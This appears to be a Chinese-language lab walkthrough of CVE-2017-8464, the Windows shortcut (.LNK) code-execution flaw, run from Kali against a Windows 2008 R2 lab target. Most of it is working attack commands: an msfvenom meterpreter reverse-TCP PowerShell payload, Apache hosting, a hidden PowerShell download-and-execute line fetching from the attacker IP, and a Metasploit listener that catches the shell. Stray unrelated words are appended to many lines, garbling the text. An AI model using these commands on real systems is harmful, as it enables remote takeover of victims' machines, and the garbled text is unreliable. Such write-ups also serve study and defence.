2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客能够经过U盘、网络共享等途径触发漏洞,彻底控制用户系统,安全风险高危html
攻击者能够向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其余应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者能够得到与本地用户相同的用户权限。
注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。
漏洞利用条件和方式: web
远程利用
漏洞影响范围: shell
服务器系统apache
利用原理:windows
建立恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,致使本机中病毒。安全
环境搭建:服务器
攻击机:kali ip:10.0.0.140网络
目标靶机:win2008r2x64 ip:192.168.99.104tcp
1.kali下生成一个反弹的 ps1的shell:spa
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
2.切换到opt目录,而后查看到已生成了search.ps1 的powershell 后门
cd /opt
ls
3.将生成的search.ps1拷贝到/var/www/html目录下
mv search.ps1 /var/www/html ls
4.启动apache服务
service apache2 start
5.访问web下的search.ps1,能够直接访问:
6.在靶机上建立一个powershell远程快捷:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
7.名称为:powershell.exe
8.kali下建立监听反弹,而且能够看到成功反弹出靶机的shell:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 10.0.0.140 set lport 5555 exploit